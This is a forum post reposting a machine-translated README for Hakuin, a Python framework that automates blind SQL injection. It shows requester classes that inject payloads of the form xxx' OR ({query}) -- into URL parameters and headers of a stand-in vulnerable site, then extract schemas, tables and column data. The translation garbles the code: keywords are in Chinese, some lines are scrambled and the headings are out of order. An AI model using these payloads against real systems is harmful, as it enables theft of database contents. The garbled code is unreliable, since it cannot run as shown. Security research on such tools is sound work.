taibeihacker
Moderator
Hakuin是盲目的SQL注入（BSQL）优化和自动化框架，它在Python 3中编写。它抽象了推理逻辑，并允许用户轻松有效地从弱点的Web应用程序中提取数据库（DB）。为了加快流程的加快，Hakuin采用了各种优化方法，包括预训练和适应性语言模型，机会猜测，并行性等等。
Hakuin曾在尊敬的学术和工业会议上介绍: -Blackhat Mea，Riyadh，2023年- 盒子里的黑客，2023年，IEEE SP SP SP SP SP SP Workshop（Woot），2023年，2023年
更多信息可以在我们的论文和幻灯片中找到。
Installation
要安装Hakuin，只需运行:PIP3安装Hakuin开发人员应在本地安装软件包，并为可编辑模式设置-E标志:
git克隆[emailProtected]
ruzko/hakuin.gitCD Hakuin
PIP3安装-e。
Examples
确定BSQL漏洞后，您需要告诉Hakuin如何注入其查询。为此，请从请求者中得出一个类，然后覆盖请求方法。同样，该方法必须确定查询是否已解决为true或false。Example 1 - Query Parameter Injection with Status-based Inference
导入AIOHTTP来自Hakuin进口请求者
班级现状Requester（请求者）:
异步def请求（self，ctx，查询）:
r=等待aiohttp.get（f'http://vuln.com/？n=xxx'或（{query}） - '）
返回r.status==200
Example 2 - Header Injection with Content-based Inference
类ContentRequester（请求者）:异步def请求（self，ctx，查询）:
headers={'viles-header': f'xxx'或（{query}） - '}
r=等待aiohttp.get（f'http://vuln.com/'，headers=标题）
在等待r.text（）中返回“找到”以开始提取数据，使用提取器类。它需要一个DBMS对象来构建查询和一个请求者对象才能注入它们。 Hakuin当前支持SQLITE，MySQL，PSQL（PostgreSQL）和MSSQL（SQL Server）DBMSS，但很快将包含更多选项。如果您希望支持另一个DBM，请在Hakuin/dbms/dbms.py中实现DBMS接口。
Example 1 - Extracting SQLite/MySQL/PSQL/MSSQL
进口Asyncio来自Hakuin进口提取器，请求者
来自hakuin.dbms import sqlite，mysql，psql，mssql
班级现状Requester（请求者）:
.
异步def main（）:
＃requester:使用此请求者
＃DBMS:使用此DBMS
＃N_TASKS:产生n任务，这些任务并行提取列行
ext=extractor（requester=statusrequester（），dbms=sqlite（），n_tasks=1）
.
如果__name__=='__ -Main __':
asyncio.get_event_loop（）。run_until_complete（main（））现在设置了所有内容，您可以开始提取DB元数据。
Example 1 - Extracting DB Schemas
＃策略:＃'Binary':使用二进制搜索
＃'Model':使用预训练的模型
schema_names=等待ext.extract_schema_names（策略='模型'）
Example 2 - Extracting Tables
表=等待ext.extract.extract_tract_table_names（策略='模型'）Example 3 - Extracting Columns
列=等待ext.ext.ext._column_names（ext._column_names） ext.extract_meta（stragity='模型'）一旦知道结构，就可以提取实际内容。Example 4 - Extracting Tables and Columns Together
＃text_strategy:如果列是文本，请使用此策略res=等待ext.extract_column（table='用户'，column='address'，text_strategy='dynamic'）
Example 1 - Extracting Generic Columns
＃strategy:＃'Binary':使用二进制搜索
＃“五克” :使用五克模型
＃'umigram':使用Umigram模型
＃'Dynamic':动态确定最佳策略。此设置
＃还可以使机会主义猜测。
res=等待ext.extract_column_text（table='用户'，列='地址'，策略='dynamic'）
Example 2 - Extracting Textual Columns
res res=等待ext.extract.extract_column_int（table='用户'，列='id' res=等待ext.extract_column_blob（table='用户'，column='id'）可以在测试目录中找到更多示例。Example 3 - Extracting Integer Columns
Hakuin配备了一个简单的包装工具HK.PY，它使您可以直接从命令行中使用Hakuin的基本功能。要了解更多，Run:Python3 HK.PY -H
Example 4 - Extracting Float Columns
该存储库是为满足安全实践者需求而积极开发的。希望重现我们论文中描述的实验的研究人员应安装冷冻版本，因为它包含原始代码，实验脚本和用于复制结果的说明手册。Example 5 - Extracting Blob (Binary Data) Columns
@inproceedings {hakuin_bsqli，title={hakuin:用概率语言模型优化盲sql注入}，
作者={pru {\ v {z}} inec，jakub和nguyen，quynh anh}，
BookTitle={2023 IEEE安全和隐私研讨会（SPW）}，
页={384--393}，
年={2023}，
组织={IEEE}
}